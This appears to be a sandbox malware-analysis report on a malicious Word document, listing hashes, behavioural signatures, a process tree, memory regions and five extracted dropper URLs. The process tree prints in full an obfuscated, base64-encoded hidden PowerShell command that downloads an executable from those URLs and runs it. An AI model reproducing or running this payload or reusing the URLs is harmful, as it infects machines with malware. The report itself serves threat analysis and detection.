Analysis

  • max time kernel
    120s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    20/11/2024, 05:52

General

  • Target

    d553754670d5b53200ddec4869f28f269a650ecf315a6f9eac6b8771ec0165a7.doc

  • Size

    178KB

  • MD5

    ea36973f28119717d12411b067e1aa41

  • SHA1

    875eb82f2e135f33a04bcc9aebe808425e73d06e

  • SHA256

    d553754670d5b53200ddec4869f28f269a650ecf315a6f9eac6b8771ec0165a7

  • SHA512

    469733be8ea5a3f251007ffb4a420f436dcb00c7706f91c66eb14f4377770e7126a95e8308ec8b17ca281d88ce610f3a266c057342c4e46d064f0553b515cec9

  • SSDEEP

    3072:JT2y/GdynktGDWLS0HZWD5w8K7Nk96D7IBUJZB0zstySfNllXe:JT2k43tGiL3HJk96D7bt0z0rllX

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://www.yadegarebastan.com/wp-content/mhear/

exe.dropper

http://bikerzonebd.com/wp-admin/89gw/

exe.dropper

http://shptoys.com/_old/bvGej/

exe.dropper

http://www.vestalicom.com/facturation/qgm0t/

exe.dropper

http://www.aliounendiaye.com/wp-content/f3hs6j/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\d553754670d5b53200ddec4869f28f269a650ecf315a6f9eac6b8771ec0165a7.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3028
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2876
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABVAGwAegBiAHIAegB1AHQAaABjAGQAcQB6AD0AJwBGAGYAcgBlAHAAZwBxAGkAJwA7ACQAUABrAHoAbgBlAGQAdQB0AHIAIAA9ACAAJwAxADcANwAnADsAJABSAHkAdwB6AGMAdABpAGwAZgB6AGoAbgBlAD0AJwBSAGIAZABtAHQAYQBnAGMAeQAnADsAJABQAGgAYQBrAGkAcAB2AHQAYwBrAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABQAGsAegBuAGUAZAB1AHQAcgArACcALgBlAHgAZQAnADsAJABOAHIAcABkAGMAdgBiAHIAPQAnAFcAaAB6AGoAaQBuAGEAYwB2AHMAbgBrAGgAJwA7ACQAUQBxAHAAZwBwAHoAbgB1AGEAdABuAHAAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAG4ARQBUAC4AdwBFAEIAQwBMAGkARQBuAHQAOwAkAFMAYwB5AHAAZwBnAGcAbQBuAHYAbQB4AHMAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgB5AGEAZABlAGcAYQByAGUAYgBhAHMAdABhAG4ALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBtAGgAZQBhAHIALwAqAGgAdAB0AHAAOgAvAC8AYgBpAGsAZQByAHoAbwBuAGUAYgBkAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwA4ADkAZwB3AC8AKgBoAHQAdABwADoALwAvAHMAaABwAHQAbwB5AHMALgBjAG8AbQAvAF8AbwBsAGQALwBiAHYARwBlAGoALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgB2AGUAcwB0AGEAbABpAGMAbwBtAC4AYwBvAG0ALwBmAGEAYwB0AHUAcgBhAHQAaQBvAG4ALwBxAGcAbQAwAHQALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBhAGwAaQBvAHUAbgBlAG4AZABpAGEAeQBlAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AZgAzAGgAcwA2AGoALwAnAC4AIgBTAFAAYABMAEkAVAAiACgAJwAqACcAKQA7ACQARgBzAGgAeQBrAHYAeQBsAGEAZwByAD0AJwBXAG8AbQBtAGwAbAB1AHQAJwA7AGYAbwByAGUAYQBjAGgAKAAkAE8AdABsAHkAZQBjAHoAdQAgAGkAbgAgACQAUwBjAHkAcABnAGcAZwBtAG4AdgBtAHgAcwApAHsAdAByAHkAewAkAFEAcQBwAGcAcAB6AG4AdQBhAHQAbgBwAC4AIgBEAGAATwB3AG4AYABMAGAAbwBBAGQARgBJAEwAZQAiACgAJABPAHQAbAB5AGUAYwB6AHUALAAgACQAUABoAGEAawBpAHAAdgB0AGMAawApADsAJABMAG0AZgBhAGMAdwBvAGQAPQAnAE8AeABjAHQAdAB4AGEAeQB3AHkAZAByAHMAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABQAGgAYQBrAGkAcAB2AHQAYwBrACkALgAiAGwARQBOAGAAZwBUAEgAIgAgAC0AZwBlACAAMwA4ADcAMgA0ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAYABUAGEAcgB0ACIAKAAkAFAAaABhAGsAaQBwAHYAdABjAGsAKQA7ACQARgBhAHkAdgB2AHYAYgBwAHcAPQAnAFYAdgBwAG0AYwBnAHcAbwB6ACcAOwBiAHIAZQBhAGsAOwAkAFMAbwBsAHYAeABlAHoAdAB1AGgAdQB1AD0AJwBGAG8AZQBzAHYAbgB4AGgAcwBlAGQAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQQBrAHYAagBnAHcAbQBoAGoAawA9ACcAVwBwAGMAcgB5AGIAYQB5AHkAeABzAHIAdwAnAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2956

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5DB14E30.wmf

      Filesize

      444B

      MD5

      c333c5881cb879961a5a5dd021f7e2e5

      SHA1

      e85b4dcf0040c9ac1d3f89c8fa2f3f6dd2c1ee1b

      SHA256

      2a032727bf5191986f11408196fdef8e9d811f8699bbe61d8339c30d3a82b3f7

      SHA512

      e777048cea1edb2a84e5ad1d0216b71ab1e87367754f7b931dff4559ca83831e78fca83c6e1e14c988d1deb1c74a216843a5fbc3210df00f98185dca4def5503

    • memory/2956-32-0x0000000001E00000-0x0000000001E08000-memory.dmp

      Filesize

      32KB

    • memory/2956-31-0x000000001B7C0000-0x000000001BAA2000-memory.dmp

      Filesize

      2.9MB

    • memory/3028-5-0x0000000006370000-0x0000000006470000-memory.dmp

      Filesize

      1024KB

    • memory/3028-0-0x000000002F8B1000-0x000000002F8B2000-memory.dmp

      Filesize

      4KB

    • memory/3028-14-0x0000000006740000-0x0000000006840000-memory.dmp

      Filesize

      1024KB

    • memory/3028-21-0x0000000006740000-0x0000000006840000-memory.dmp

      Filesize

      1024KB

    • memory/3028-22-0x0000000006740000-0x0000000006840000-memory.dmp

      Filesize

      1024KB

    • memory/3028-25-0x0000000006740000-0x0000000006840000-memory.dmp

      Filesize

      1024KB

    • memory/3028-2-0x0000000070FCD000-0x0000000070FD8000-memory.dmp

      Filesize

      44KB

    • memory/3028-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/3028-39-0x0000000070FCD000-0x0000000070FD8000-memory.dmp

      Filesize

      44KB

    • memory/3028-40-0x0000000006370000-0x0000000006470000-memory.dmp

      Filesize

      1024KB

    • memory/3028-42-0x0000000006740000-0x0000000006840000-memory.dmp

      Filesize

      1024KB

    • memory/3028-45-0x0000000006740000-0x0000000006840000-memory.dmp

      Filesize

      1024KB